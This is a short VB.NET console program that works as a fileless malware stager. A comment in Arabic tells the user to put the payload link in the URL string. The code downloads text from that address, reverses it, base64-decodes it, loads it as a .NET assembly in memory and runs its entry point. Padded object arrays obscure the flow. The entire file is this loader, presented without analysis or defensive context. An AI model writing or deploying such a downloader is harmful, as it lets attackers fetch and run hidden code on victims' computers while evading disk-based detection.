Imports System.IO
Imports System.Text
Imports System.Net

Module Module1
    Dim url As String = "هنا تضع رابط القيم "
    Dim wGet As New WebClient
    Dim ReadStr As New StreamReader(wGet.OpenRead(url))
    Dim Str As Object() = {"", "", "", ReadStr.ReadToEnd}
    Dim Strrev As Object() = {"", "", StrReverse(Str(3))}
    Dim Converter As Object() = {"", "", "", "", "", "", Convert.FromBase64String(Strrev(2))}
    Sub Main()
        Dim Assembly() As Object = {"", "", "", Reflection.Assembly.Load(Converter(6)).EntryPoint}
        Dim Play() As Object = {"", "", Assembly(3).invoke(88 / 2, Nothing)}
    End Sub
End Module